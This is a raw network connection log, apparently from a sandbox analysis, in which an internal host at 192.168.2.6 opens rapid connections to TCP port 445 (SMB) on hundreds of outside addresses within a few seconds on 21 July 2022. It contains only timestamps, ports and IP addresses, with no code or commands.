Jul 21, 2022 04:37:11.142579079 CEST	58248	445	192.168.2.6	188.206.137.238
Jul 21, 2022 04:37:11.142767906 CEST	58254	445	192.168.2.6	178.231.245.199
Jul 21, 2022 04:37:11.142771006 CEST	58252	445	192.168.2.6	146.147.253.130
Jul 21, 2022 04:37:11.261584997 CEST	445	58180	190.98.231.87	192.168.2.6
Jul 21, 2022 04:37:11.327027082 CEST	58261	445	192.168.2.6	190.98.231.88
Jul 21, 2022 04:37:11.556546926 CEST	58268	445	192.168.2.6	207.180.242.102
Jul 21, 2022 04:37:11.579407930 CEST	445	58268	207.180.242.102	192.168.2.6
Jul 21, 2022 04:37:11.923993111 CEST	58285	445	192.168.2.6	221.29.53.33
Jul 21, 2022 04:37:11.924024105 CEST	58286	445	192.168.2.6	82.198.2.144
Jul 21, 2022 04:37:11.924076080 CEST	58287	445	192.168.2.6	72.67.37.219
Jul 21, 2022 04:37:11.994767904 CEST	58290	445	192.168.2.6	164.58.32.9
Jul 21, 2022 04:37:12.041718006 CEST	58292	445	192.168.2.6	189.18.202.162
Jul 21, 2022 04:37:12.044337034 CEST	58296	445	192.168.2.6	43.172.4.71
Jul 21, 2022 04:37:12.045253038 CEST	58297	445	192.168.2.6	56.28.3.107
Jul 21, 2022 04:37:12.057315111 CEST	58301	445	192.168.2.6	74.1.111.48
Jul 21, 2022 04:37:12.058188915 CEST	58302	445	192.168.2.6	72.98.19.227
Jul 21, 2022 04:37:12.059864044 CEST	58305	445	192.168.2.6	114.198.247.218
Jul 21, 2022 04:37:12.060420990 CEST	58306	445	192.168.2.6	171.25.153.54
Jul 21, 2022 04:37:12.061469078 CEST	58308	445	192.168.2.6	144.182.39.190
Jul 21, 2022 04:37:12.086966991 CEST	58268	445	192.168.2.6	207.180.242.102
Jul 21, 2022 04:37:12.109643936 CEST	445	58268	207.180.242.102	192.168.2.6
Jul 21, 2022 04:37:12.183558941 CEST	58316	445	192.168.2.6	133.218.225.55
Jul 21, 2022 04:37:12.184276104 CEST	58317	445	192.168.2.6	10.60.49.196
Jul 21, 2022 04:37:12.184981108 CEST	58318	445	192.168.2.6	42.213.204.179
Jul 21, 2022 04:37:12.199439049 CEST	58323	445	192.168.2.6	107.65.90.180
Jul 21, 2022 04:37:12.240571022 CEST	58327	445	192.168.2.6	6.168.55.208
Jul 21, 2022 04:37:12.240880013 CEST	58329	445	192.168.2.6	152.40.163.69
Jul 21, 2022 04:37:12.241063118 CEST	58330	445	192.168.2.6	17.6.39.128
Jul 21, 2022 04:37:12.241219997 CEST	58332	445	192.168.2.6	93.227.105.111
Jul 21, 2022 04:37:12.243592978 CEST	56557	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:12.243665934 CEST	58331	445	192.168.2.6	180.187.9.233
Jul 21, 2022 04:37:12.245585918 CEST	58335	445	192.168.2.6	186.177.62.199
Jul 21, 2022 04:37:12.246217966 CEST	58336	445	192.168.2.6	69.204.114.68
Jul 21, 2022 04:37:12.246948957 CEST	58337	445	192.168.2.6	140.181.21.24
Jul 21, 2022 04:37:12.247648001 CEST	58338	445	192.168.2.6	24.200.192.179
Jul 21, 2022 04:37:12.248811007 CEST	58340	445	192.168.2.6	152.97.71.181
Jul 21, 2022 04:37:12.255263090 CEST	58346	445	192.168.2.6	14.220.69.199
Jul 21, 2022 04:37:12.255490065 CEST	58350	445	192.168.2.6	87.238.83.18
Jul 21, 2022 04:37:12.255830050 CEST	58348	445	192.168.2.6	4.195.247.97
Jul 21, 2022 04:37:12.400298119 CEST	58356	445	192.168.2.6	190.98.231.89
Jul 21, 2022 04:37:12.619225979 CEST	58360	445	192.168.2.6	207.180.242.103
Jul 21, 2022 04:37:12.641973019 CEST	445	58360	207.180.242.103	192.168.2.6
Jul 21, 2022 04:37:13.045351028 CEST	58381	445	192.168.2.6	221.207.85.146
Jul 21, 2022 04:37:13.045825005 CEST	58382	445	192.168.2.6	116.54.121.40
Jul 21, 2022 04:37:13.046305895 CEST	58383	445	192.168.2.6	149.7.139.155
Jul 21, 2022 04:37:13.120749950 CEST	58386	445	192.168.2.6	191.115.50.176
Jul 21, 2022 04:37:13.149544001 CEST	58360	445	192.168.2.6	207.180.242.103
Jul 21, 2022 04:37:13.166649103 CEST	58389	445	192.168.2.6	7.213.162.181
Jul 21, 2022 04:37:13.167943001 CEST	58391	445	192.168.2.6	197.113.22.114
Jul 21, 2022 04:37:13.168457985 CEST	58392	445	192.168.2.6	10.17.112.254
Jul 21, 2022 04:37:13.169903040 CEST	58395	445	192.168.2.6	200.75.18.155
Jul 21, 2022 04:37:13.170408010 CEST	58396	445	192.168.2.6	142.48.59.127
Jul 21, 2022 04:37:13.171401024 CEST	58398	445	192.168.2.6	119.108.170.150
Jul 21, 2022 04:37:13.173243046 CEST	58402	445	192.168.2.6	12.94.17.244
Jul 21, 2022 04:37:13.173470020 CEST	445	58360	207.180.242.103	192.168.2.6
Jul 21, 2022 04:37:13.173903942 CEST	58403	445	192.168.2.6	59.76.114.65
Jul 21, 2022 04:37:13.293376923 CEST	58409	445	192.168.2.6	160.147.122.152
Jul 21, 2022 04:37:13.293428898 CEST	58410	445	192.168.2.6	215.48.160.218
Jul 21, 2022 04:37:13.293473005 CEST	58411	445	192.168.2.6	129.236.48.2
Jul 21, 2022 04:37:13.339381933 CEST	58416	445	192.168.2.6	109.247.254.75
Jul 21, 2022 04:37:13.353960991 CEST	58424	445	192.168.2.6	145.216.183.131
Jul 21, 2022 04:37:13.354506969 CEST	58425	445	192.168.2.6	79.236.254.142
Jul 21, 2022 04:37:13.355035067 CEST	58426	445	192.168.2.6	120.249.202.62
Jul 21, 2022 04:37:13.355551958 CEST	58427	445	192.168.2.6	179.254.56.121
Jul 21, 2022 04:37:13.356323004 CEST	58428	445	192.168.2.6	214.58.222.126
Jul 21, 2022 04:37:13.369350910 CEST	58430	445	192.168.2.6	34.230.144.76
Jul 21, 2022 04:37:13.369887114 CEST	58431	445	192.168.2.6	20.112.183.178
Jul 21, 2022 04:37:13.387499094 CEST	58434	445	192.168.2.6	73.71.108.48
Jul 21, 2022 04:37:13.396361113 CEST	58440	445	192.168.2.6	26.70.188.94
Jul 21, 2022 04:37:13.396543026 CEST	58442	445	192.168.2.6	122.220.45.117
Jul 21, 2022 04:37:13.396632910 CEST	58444	445	192.168.2.6	121.254.48.235
Jul 21, 2022 04:37:13.396704912 CEST	58443	445	192.168.2.6	192.172.222.241
Jul 21, 2022 04:37:13.396789074 CEST	58445	445	192.168.2.6	207.182.58.92
Jul 21, 2022 04:37:13.478352070 CEST	58447	445	192.168.2.6	190.98.231.90
Jul 21, 2022 04:37:13.700953007 CEST	58454	445	192.168.2.6	207.180.242.104
Jul 21, 2022 04:37:14.166954041 CEST	58469	445	192.168.2.6	178.51.21.86
Jul 21, 2022 04:37:14.167467117 CEST	58470	445	192.168.2.6	161.166.116.148
Jul 21, 2022 04:37:14.167982101 CEST	58471	445	192.168.2.6	165.254.58.131
Jul 21, 2022 04:37:14.244853973 CEST	58483	445	192.168.2.6	216.220.221.33
Jul 21, 2022 04:37:14.297473907 CEST	58487	445	192.168.2.6	191.215.214.192
Jul 21, 2022 04:37:14.297493935 CEST	58488	445	192.168.2.6	72.72.250.249
Jul 21, 2022 04:37:14.297712088 CEST	58490	445	192.168.2.6	194.80.161.163
Jul 21, 2022 04:37:14.297872066 CEST	58494	445	192.168.2.6	20.175.138.242
Jul 21, 2022 04:37:14.297928095 CEST	58495	445	192.168.2.6	147.165.233.6
Jul 21, 2022 04:37:14.298063993 CEST	58498	445	192.168.2.6	205.110.127.35
Jul 21, 2022 04:37:14.298172951 CEST	58499	445	192.168.2.6	131.233.27.230
Jul 21, 2022 04:37:14.298172951 CEST	58501	445	192.168.2.6	27.200.200.73
Jul 21, 2022 04:37:14.418481112 CEST	58506	445	192.168.2.6	184.241.161.243
Jul 21, 2022 04:37:14.418493986 CEST	58507	445	192.168.2.6	103.143.129.47
Jul 21, 2022 04:37:14.418610096 CEST	58508	445	192.168.2.6	201.233.4.47
Jul 21, 2022 04:37:14.463794947 CEST	58513	445	192.168.2.6	122.93.200.79
Jul 21, 2022 04:37:14.464447021 CEST	58514	445	192.168.2.6	164.34.61.138
Jul 21, 2022 04:37:14.465190887 CEST	58515	445	192.168.2.6	20.35.82.20
Jul 21, 2022 04:37:14.465883017 CEST	58516	445	192.168.2.6	22.204.130.79
Jul 21, 2022 04:37:14.466617107 CEST	58517	445	192.168.2.6	221.137.65.45
Jul 21, 2022 04:37:14.468086958 CEST	58519	445	192.168.2.6	92.128.252.202
Jul 21, 2022 04:37:14.579229116 CEST	58528	445	192.168.2.6	57.64.201.43
Jul 21, 2022 04:37:14.579448938 CEST	58529	445	192.168.2.6	205.24.42.47
Jul 21, 2022 04:37:14.579575062 CEST	58530	445	192.168.2.6	190.210.202.56
Jul 21, 2022 04:37:14.579812050 CEST	58534	445	192.168.2.6	17.111.105.130
Jul 21, 2022 04:37:14.580034018 CEST	58538	445	192.168.2.6	146.130.210.79
Jul 21, 2022 04:37:14.580096006 CEST	58539	445	192.168.2.6	189.37.115.252
Jul 21, 2022 04:37:14.580202103 CEST	58540	445	192.168.2.6	191.235.221.34
Jul 21, 2022 04:37:14.580300093 CEST	58541	445	192.168.2.6	135.227.181.32
Jul 21, 2022 04:37:14.607873917 CEST	58544	445	192.168.2.6	190.98.231.91
Jul 21, 2022 04:37:14.730948925 CEST	445	58534	17.111.105.130	192.168.2.6
Jul 21, 2022 04:37:14.775563955 CEST	58551	445	192.168.2.6	207.180.242.105
Jul 21, 2022 04:37:15.243561983 CEST	58534	445	192.168.2.6	17.111.105.130
Jul 21, 2022 04:37:15.260004997 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:15.278721094 CEST	58567	445	192.168.2.6	163.47.88.143
Jul 21, 2022 04:37:15.280066967 CEST	58568	445	192.168.2.6	190.60.159.89
Jul 21, 2022 04:37:15.280272007 CEST	58569	445	192.168.2.6	18.92.59.140
Jul 21, 2022 04:37:15.290656090 CEST	445	58566	77.129.24.2	192.168.2.6
Jul 21, 2022 04:37:15.292875051 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:15.293067932 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:15.362865925 CEST	58581	445	192.168.2.6	90.254.94.19
Jul 21, 2022 04:37:15.396631002 CEST	445	58534	17.111.105.130	192.168.2.6
Jul 21, 2022 04:37:15.409188032 CEST	58585	445	192.168.2.6	4.40.95.218
Jul 21, 2022 04:37:15.409248114 CEST	58586	445	192.168.2.6	183.28.40.12
Jul 21, 2022 04:37:15.409363985 CEST	58588	445	192.168.2.6	88.130.149.100
Jul 21, 2022 04:37:15.409533024 CEST	58594	445	192.168.2.6	135.70.122.45
Jul 21, 2022 04:37:15.409547091 CEST	58593	445	192.168.2.6	76.27.179.152
Jul 21, 2022 04:37:15.409638882 CEST	58596	445	192.168.2.6	21.135.144.235
Jul 21, 2022 04:37:15.409656048 CEST	58595	445	192.168.2.6	58.167.156.120
Jul 21, 2022 04:37:15.409795046 CEST	58600	445	192.168.2.6	151.8.53.145
Jul 21, 2022 04:37:15.527626991 CEST	58604	445	192.168.2.6	197.200.196.63
Jul 21, 2022 04:37:15.528157949 CEST	58605	445	192.168.2.6	71.159.53.135
Jul 21, 2022 04:37:15.529495955 CEST	58607	445	192.168.2.6	222.97.68.115
Jul 21, 2022 04:37:15.555998087 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:15.573331118 CEST	58611	445	192.168.2.6	213.68.254.223
Jul 21, 2022 04:37:15.573951960 CEST	58612	445	192.168.2.6	201.18.7.245
Jul 21, 2022 04:37:15.574508905 CEST	58613	445	192.168.2.6	140.123.24.151
Jul 21, 2022 04:37:15.575014114 CEST	58614	445	192.168.2.6	14.204.150.162
Jul 21, 2022 04:37:15.575644016 CEST	58615	445	192.168.2.6	39.130.70.57
Jul 21, 2022 04:37:15.576781988 CEST	58617	445	192.168.2.6	74.95.13.15
Jul 21, 2022 04:37:15.666600943 CEST	58618	445	192.168.2.6	190.98.231.92
Jul 21, 2022 04:37:15.728535891 CEST	58619	445	192.168.2.6	84.2.208.121
Jul 21, 2022 04:37:15.728595018 CEST	58620	445	192.168.2.6	115.59.14.20
Jul 21, 2022 04:37:15.728882074 CEST	58630	445	192.168.2.6	140.251.207.78
Jul 21, 2022 04:37:15.728971958 CEST	58633	445	192.168.2.6	167.176.75.32
Jul 21, 2022 04:37:15.729028940 CEST	58634	445	192.168.2.6	69.14.86.184
Jul 21, 2022 04:37:15.729159117 CEST	58638	445	192.168.2.6	5.199.121.129
Jul 21, 2022 04:37:15.729216099 CEST	58639	445	192.168.2.6	108.96.83.84
Jul 21, 2022 04:37:15.729317904 CEST	58642	445	192.168.2.6	177.123.97.66
Jul 21, 2022 04:37:15.838267088 CEST	58649	445	192.168.2.6	207.180.242.106
Jul 21, 2022 04:37:15.868572950 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:16.400717020 CEST	58665	445	192.168.2.6	214.156.25.220
Jul 21, 2022 04:37:16.401223898 CEST	58666	445	192.168.2.6	165.227.48.13
Jul 21, 2022 04:37:16.402203083 CEST	58668	445	192.168.2.6	148.203.80.76
Jul 21, 2022 04:37:16.477937937 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:16.490370989 CEST	58679	445	192.168.2.6	200.42.149.39
Jul 21, 2022 04:37:16.531104088 CEST	58683	445	192.168.2.6	111.184.146.239
Jul 21, 2022 04:37:16.531275034 CEST	58686	445	192.168.2.6	93.6.230.228
Jul 21, 2022 04:37:16.531328917 CEST	58685	445	192.168.2.6	169.144.89.108
Jul 21, 2022 04:37:16.531359911 CEST	58689	445	192.168.2.6	212.108.22.101
Jul 21, 2022 04:37:16.531456947 CEST	58692	445	192.168.2.6	212.7.246.93
Jul 21, 2022 04:37:16.531466007 CEST	58691	445	192.168.2.6	164.253.227.64
Jul 21, 2022 04:37:16.531682014 CEST	58698	445	192.168.2.6	208.60.88.145
Jul 21, 2022 04:37:16.531698942 CEST	58694	445	192.168.2.6	143.39.148.141
Jul 21, 2022 04:37:16.652081966 CEST	58702	445	192.168.2.6	28.121.195.140
Jul 21, 2022 04:37:16.652579069 CEST	58703	445	192.168.2.6	121.40.38.173
Jul 21, 2022 04:37:16.653533936 CEST	58705	445	192.168.2.6	93.180.107.43
Jul 21, 2022 04:37:16.701591015 CEST	58710	445	192.168.2.6	222.226.201.146
Jul 21, 2022 04:37:16.701699972 CEST	58711	445	192.168.2.6	159.229.161.250
Jul 21, 2022 04:37:16.701704025 CEST	58709	445	192.168.2.6	40.59.216.201
Jul 21, 2022 04:37:16.701893091 CEST	58713	445	192.168.2.6	167.132.236.47
Jul 21, 2022 04:37:16.701978922 CEST	58715	445	192.168.2.6	70.191.211.69
Jul 21, 2022 04:37:16.702621937 CEST	58714	445	192.168.2.6	5.231.151.60
Jul 21, 2022 04:37:16.745176077 CEST	58716	445	192.168.2.6	190.98.231.93
Jul 21, 2022 04:37:16.840557098 CEST	58717	445	192.168.2.6	173.72.17.3
Jul 21, 2022 04:37:16.861984015 CEST	58726	445	192.168.2.6	50.141.13.127
Jul 21, 2022 04:37:16.862018108 CEST	58729	445	192.168.2.6	96.123.207.148
Jul 21, 2022 04:37:16.862143040 CEST	58730	445	192.168.2.6	192.5.193.187
Jul 21, 2022 04:37:16.862212896 CEST	58734	445	192.168.2.6	210.66.239.43
Jul 21, 2022 04:37:16.862335920 CEST	58736	445	192.168.2.6	17.28.190.252
Jul 21, 2022 04:37:16.862368107 CEST	58738	445	192.168.2.6	199.195.175.29
Jul 21, 2022 04:37:16.862474918 CEST	58740	445	192.168.2.6	130.229.194.239
Jul 21, 2022 04:37:16.916467905 CEST	58747	445	192.168.2.6	207.180.242.107
Jul 21, 2022 04:37:17.066282034 CEST	445	58738	199.195.175.29	192.168.2.6
Jul 21, 2022 04:37:17.526289940 CEST	58763	445	192.168.2.6	77.4.121.129
Jul 21, 2022 04:37:17.526370049 CEST	58764	445	192.168.2.6	22.56.32.98
Jul 21, 2022 04:37:17.528392076 CEST	58766	445	192.168.2.6	16.37.39.141
Jul 21, 2022 04:37:17.571762085 CEST	58738	445	192.168.2.6	199.195.175.29
Jul 21, 2022 04:37:17.604888916 CEST	58778	445	192.168.2.6	168.130.219.1
Jul 21, 2022 04:37:17.652522087 CEST	58781	445	192.168.2.6	183.245.178.203
Jul 21, 2022 04:37:17.653554916 CEST	58783	445	192.168.2.6	38.133.195.51
Jul 21, 2022 04:37:17.654134035 CEST	58784	445	192.168.2.6	121.11.247.90
Jul 21, 2022 04:37:17.655616045 CEST	58787	445	192.168.2.6	93.6.247.152
Jul 21, 2022 04:37:17.656148911 CEST	58788	445	192.168.2.6	16.1.230.38
Jul 21, 2022 04:37:17.657150030 CEST	58790	445	192.168.2.6	38.172.45.205
Jul 21, 2022 04:37:17.659909010 CEST	58793	445	192.168.2.6	138.231.173.240
Jul 21, 2022 04:37:17.660190105 CEST	58796	445	192.168.2.6	106.8.232.248
Jul 21, 2022 04:37:17.681543112 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:17.761244059 CEST	58799	445	192.168.2.6	175.99.3.36
Jul 21, 2022 04:37:17.762275934 CEST	58801	445	192.168.2.6	214.159.253.229
Jul 21, 2022 04:37:17.762912035 CEST	58802	445	192.168.2.6	129.48.85.235
Jul 21, 2022 04:37:17.807079077 CEST	58806	445	192.168.2.6	190.98.231.94
Jul 21, 2022 04:37:17.808031082 CEST	445	58738	199.195.175.29	192.168.2.6
Jul 21, 2022 04:37:17.824693918 CEST	58808	445	192.168.2.6	166.33.153.37
Jul 21, 2022 04:37:17.825459003 CEST	58809	445	192.168.2.6	154.160.205.58
Jul 21, 2022 04:37:17.827599049 CEST	58811	445	192.168.2.6	219.154.29.33
Jul 21, 2022 04:37:17.827615023 CEST	58812	445	192.168.2.6	120.44.37.148
Jul 21, 2022 04:37:17.827713013 CEST	58814	445	192.168.2.6	71.1.148.171
Jul 21, 2022 04:37:17.827786922 CEST	58813	445	192.168.2.6	145.100.45.222
Jul 21, 2022 04:37:17.948838949 CEST	58819	445	192.168.2.6	174.168.249.123
Jul 21, 2022 04:37:18.022466898 CEST	58826	445	192.168.2.6	67.156.72.167
Jul 21, 2022 04:37:18.022541046 CEST	58827	445	192.168.2.6	40.31.81.159
Jul 21, 2022 04:37:18.022717953 CEST	58830	445	192.168.2.6	175.124.117.146
Jul 21, 2022 04:37:18.023539066 CEST	58831	445	192.168.2.6	182.149.79.53
Jul 21, 2022 04:37:18.023655891 CEST	58834	445	192.168.2.6	23.186.15.102
Jul 21, 2022 04:37:18.023725986 CEST	58835	445	192.168.2.6	194.228.229.181
Jul 21, 2022 04:37:18.023838043 CEST	58838	445	192.168.2.6	172.147.155.250
Jul 21, 2022 04:37:18.023885012 CEST	58839	445	192.168.2.6	207.180.242.108
Jul 21, 2022 04:37:18.635072947 CEST	58862	445	192.168.2.6	191.209.224.87
Jul 21, 2022 04:37:18.635562897 CEST	58863	445	192.168.2.6	11.249.15.109
Jul 21, 2022 04:37:18.636502981 CEST	58865	445	192.168.2.6	219.203.219.156
Jul 21, 2022 04:37:18.729728937 CEST	58876	445	192.168.2.6	218.0.140.94
Jul 21, 2022 04:37:18.762650967 CEST	58878	445	192.168.2.6	181.230.142.225
Jul 21, 2022 04:37:18.767256021 CEST	58879	445	192.168.2.6	116.38.228.4
Jul 21, 2022 04:37:18.767385006 CEST	58882	445	192.168.2.6	192.42.14.66
Jul 21, 2022 04:37:18.767503977 CEST	58885	445	192.168.2.6	120.174.209.219
Jul 21, 2022 04:37:18.767647028 CEST	58887	445	192.168.2.6	18.202.50.78
Jul 21, 2022 04:37:18.767688036 CEST	58890	445	192.168.2.6	131.1.59.131
Jul 21, 2022 04:37:18.767816067 CEST	58893	445	192.168.2.6	223.233.102.142
Jul 21, 2022 04:37:18.767882109 CEST	58891	445	192.168.2.6	218.244.250.79
Jul 21, 2022 04:37:18.888881922 CEST	58898	445	192.168.2.6	156.11.131.171
Jul 21, 2022 04:37:18.888905048 CEST	58900	445	192.168.2.6	63.30.178.184
Jul 21, 2022 04:37:18.889132977 CEST	58901	445	192.168.2.6	26.201.81.61
Jul 21, 2022 04:37:18.889354944 CEST	58905	445	192.168.2.6	190.98.231.95
Jul 21, 2022 04:37:18.948757887 CEST	58907	445	192.168.2.6	106.21.32.121
Jul 21, 2022 04:37:18.949440956 CEST	58908	445	192.168.2.6	196.48.195.120
Jul 21, 2022 04:37:18.950664043 CEST	58910	445	192.168.2.6	186.234.183.208
Jul 21, 2022 04:37:18.951837063 CEST	58912	445	192.168.2.6	32.157.122.23
Jul 21, 2022 04:37:18.952640057 CEST	58913	445	192.168.2.6	217.6.249.238
Jul 21, 2022 04:37:19.059463978 CEST	58917	445	192.168.2.6	70.221.245.237
Jul 21, 2022 04:37:19.129941940 CEST	58921	445	192.168.2.6	207.180.242.109
Jul 21, 2022 04:37:19.136204958 CEST	58925	445	192.168.2.6	58.159.179.241
Jul 21, 2022 04:37:19.136859894 CEST	58926	445	192.168.2.6	114.49.123.70
Jul 21, 2022 04:37:19.140436888 CEST	58929	445	192.168.2.6	173.197.3.194
Jul 21, 2022 04:37:19.141881943 CEST	58930	445	192.168.2.6	202.166.146.51
Jul 21, 2022 04:37:19.142026901 CEST	58932	445	192.168.2.6	155.21.114.240
Jul 21, 2022 04:37:19.142126083 CEST	58935	445	192.168.2.6	200.41.183.101
Jul 21, 2022 04:37:19.151027918 CEST	58938	445	192.168.2.6	222.165.227.217
Jul 21, 2022 04:37:19.325876951 CEST	445	58938	222.165.227.217	192.168.2.6
Jul 21, 2022 04:37:19.419187069 CEST	445	58925	58.159.179.241	192.168.2.6
Jul 21, 2022 04:37:19.772824049 CEST	58962	445	192.168.2.6	158.85.125.233
Jul 21, 2022 04:37:19.772841930 CEST	58963	445	192.168.2.6	198.244.217.128
Jul 21, 2022 04:37:19.772886992 CEST	58964	445	192.168.2.6	181.15.252.12
Jul 21, 2022 04:37:19.837599039 CEST	58938	445	192.168.2.6	222.165.227.217
Jul 21, 2022 04:37:19.854530096 CEST	58974	445	192.168.2.6	10.132.0.67
Jul 21, 2022 04:37:19.880291939 CEST	58977	445	192.168.2.6	50.17.190.145
Jul 21, 2022 04:37:19.880855083 CEST	58980	445	192.168.2.6	190.238.39.81
Jul 21, 2022 04:37:19.881114960 CEST	58984	445	192.168.2.6	78.185.177.249
Jul 21, 2022 04:37:19.881119013 CEST	58983	445	192.168.2.6	17.102.47.194
Jul 21, 2022 04:37:19.881321907 CEST	58988	445	192.168.2.6	27.173.201.246
Jul 21, 2022 04:37:19.881419897 CEST	58978	445	192.168.2.6	56.162.2.3
Jul 21, 2022 04:37:19.881453991 CEST	58990	445	192.168.2.6	21.144.9.144
Jul 21, 2022 04:37:19.881490946 CEST	58992	445	192.168.2.6	109.182.54.166
Jul 21, 2022 04:37:19.931412935 CEST	58925	445	192.168.2.6	58.159.179.241
Jul 21, 2022 04:37:19.964423895 CEST	58995	445	192.168.2.6	190.98.231.96
Jul 21, 2022 04:37:20.011852980 CEST	58999	445	192.168.2.6	75.118.176.33
Jul 21, 2022 04:37:20.012150049 CEST	445	58938	222.165.227.217	192.168.2.6
Jul 21, 2022 04:37:20.012403965 CEST	59000	445	192.168.2.6	61.116.78.191
Jul 21, 2022 04:37:20.013051033 CEST	59001	445	192.168.2.6	88.40.219.247
Jul 21, 2022 04:37:20.085743904 CEST	59007	445	192.168.2.6	93.112.28.74
Jul 21, 2022 04:37:20.085783005 CEST	59008	445	192.168.2.6	176.242.157.247
Jul 21, 2022 04:37:20.085958004 CEST	59010	445	192.168.2.6	201.9.211.113
Jul 21, 2022 04:37:20.086090088 CEST	59012	445	192.168.2.6	219.245.46.246
Jul 21, 2022 04:37:20.086097002 CEST	59011	445	192.168.2.6	112.4.34.118
Jul 21, 2022 04:37:20.086220980 CEST	59013	445	192.168.2.6	102.7.203.173
Jul 21, 2022 04:37:20.087713957 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:20.192809105 CEST	59014	445	192.168.2.6	32.201.107.95
Jul 21, 2022 04:37:20.197534084 CEST	59018	445	192.168.2.6	207.180.242.110
Jul 21, 2022 04:37:20.205523968 CEST	445	58925	58.159.179.241	192.168.2.6
Jul 21, 2022 04:37:20.221822977 CEST	445	59018	207.180.242.110	192.168.2.6
Jul 21, 2022 04:37:20.271786928 CEST	59021	445	192.168.2.6	125.219.106.127
Jul 21, 2022 04:37:20.271822929 CEST	59022	445	192.168.2.6	121.189.53.235
Jul 21, 2022 04:37:20.271924019 CEST	59025	445	192.168.2.6	44.73.31.74
Jul 21, 2022 04:37:20.272042990 CEST	59026	445	192.168.2.6	38.139.44.172
Jul 21, 2022 04:37:20.272713900 CEST	59031	445	192.168.2.6	22.29.117.176
Jul 21, 2022 04:37:20.273246050 CEST	59028	445	192.168.2.6	27.42.241.78
Jul 21, 2022 04:37:20.274753094 CEST	59038	445	192.168.2.6	70.122.212.230
Jul 21, 2022 04:37:20.728342056 CEST	59018	445	192.168.2.6	207.180.242.110
Jul 21, 2022 04:37:20.815149069 CEST	445	59018	207.180.242.110	192.168.2.6
Jul 21, 2022 04:37:20.887868881 CEST	59062	445	192.168.2.6	36.190.10.240
Jul 21, 2022 04:37:20.896704912 CEST	59071	445	192.168.2.6	68.215.154.75
Jul 21, 2022 04:37:20.896704912 CEST	59072	445	192.168.2.6	44.54.123.161
Jul 21, 2022 04:37:20.994688988 CEST	59075	445	192.168.2.6	210.202.228.96
Jul 21, 2022 04:37:20.995337963 CEST	59079	445	192.168.2.6	38.112.182.60
Jul 21, 2022 04:37:20.995381117 CEST	59080	445	192.168.2.6	63.216.237.104
Jul 21, 2022 04:37:20.995578051 CEST	59085	445	192.168.2.6	71.143.104.178
Jul 21, 2022 04:37:20.995719910 CEST	59090	445	192.168.2.6	101.157.152.136
Jul 21, 2022 04:37:20.995763063 CEST	59084	445	192.168.2.6	87.227.180.114
Jul 21, 2022 04:37:20.995786905 CEST	59091	445	192.168.2.6	202.129.22.245
Jul 21, 2022 04:37:20.995837927 CEST	59092	445	192.168.2.6	41.112.183.167
Jul 21, 2022 04:37:20.995883942 CEST	59093	445	192.168.2.6	14.163.41.36
Jul 21, 2022 04:37:21.027250051 CEST	59095	445	192.168.2.6	190.98.231.97
Jul 21, 2022 04:37:21.136593103 CEST	59099	445	192.168.2.6	211.165.79.94
Jul 21, 2022 04:37:21.137095928 CEST	59100	445	192.168.2.6	140.205.25.141
Jul 21, 2022 04:37:21.137566090 CEST	59101	445	192.168.2.6	9.174.198.146
Jul 21, 2022 04:37:21.186804056 CEST	59106	445	192.168.2.6	176.103.28.213
Jul 21, 2022 04:37:21.187051058 CEST	59107	445	192.168.2.6	216.110.118.144
Jul 21, 2022 04:37:21.187160015 CEST	59109	445	192.168.2.6	201.235.126.52
Jul 21, 2022 04:37:21.187169075 CEST	59108	445	192.168.2.6	58.26.163.16
Jul 21, 2022 04:37:21.187325954 CEST	59112	445	192.168.2.6	54.107.82.165
Jul 21, 2022 04:37:21.187691927 CEST	59111	445	192.168.2.6	176.47.80.177
Jul 21, 2022 04:37:21.251810074 CEST	445	59095	190.98.231.97	192.168.2.6
Jul 21, 2022 04:37:21.277132034 CEST	59114	445	192.168.2.6	207.180.242.111
Jul 21, 2022 04:37:21.297450066 CEST	445	59114	207.180.242.111	192.168.2.6
Jul 21, 2022 04:37:21.308257103 CEST	59116	445	192.168.2.6	100.245.233.181
Jul 21, 2022 04:37:21.448596954 CEST	59121	445	192.168.2.6	118.167.23.102
Jul 21, 2022 04:37:21.448676109 CEST	59122	445	192.168.2.6	15.147.124.67
Jul 21, 2022 04:37:21.448784113 CEST	59125	445	192.168.2.6	110.8.119.253
Jul 21, 2022 04:37:21.448894024 CEST	59128	445	192.168.2.6	169.36.249.123
Jul 21, 2022 04:37:21.449004889 CEST	59131	445	192.168.2.6	158.56.215.119
Jul 21, 2022 04:37:21.449213028 CEST	59139	445	192.168.2.6	90.39.168.118
Jul 21, 2022 04:37:21.759639025 CEST	59095	445	192.168.2.6	190.98.231.97
Jul 21, 2022 04:37:21.806494951 CEST	59114	445	192.168.2.6	207.180.242.111
Jul 21, 2022 04:37:21.828875065 CEST	445	59114	207.180.242.111	192.168.2.6
Jul 21, 2022 04:37:21.986114979 CEST	445	59095	190.98.231.97	192.168.2.6
Jul 21, 2022 04:37:22.013427973 CEST	59162	445	192.168.2.6	188.240.7.186
Jul 21, 2022 04:37:22.021330118 CEST	59170	445	192.168.2.6	105.26.159.199
Jul 21, 2022 04:37:22.024497986 CEST	59173	445	192.168.2.6	21.44.183.63
Jul 21, 2022 04:37:22.106374025 CEST	59176	445	192.168.2.6	190.98.231.98
Jul 21, 2022 04:37:22.120580912 CEST	59177	445	192.168.2.6	190.67.133.238
Jul 21, 2022 04:37:22.125082016 CEST	59181	445	192.168.2.6	188.5.216.55
Jul 21, 2022 04:37:22.125870943 CEST	59182	445	192.168.2.6	54.216.79.77
Jul 21, 2022 04:37:22.128156900 CEST	59186	445	192.168.2.6	171.24.92.172
Jul 21, 2022 04:37:22.128632069 CEST	59187	445	192.168.2.6	112.8.21.119
Jul 21, 2022 04:37:22.130855083 CEST	59192	445	192.168.2.6	122.203.146.96
Jul 21, 2022 04:37:22.131320000 CEST	59193	445	192.168.2.6	150.171.161.118
Jul 21, 2022 04:37:22.131786108 CEST	59194	445	192.168.2.6	102.78.134.216
Jul 21, 2022 04:37:22.132733107 CEST	59196	445	192.168.2.6	52.192.119.59
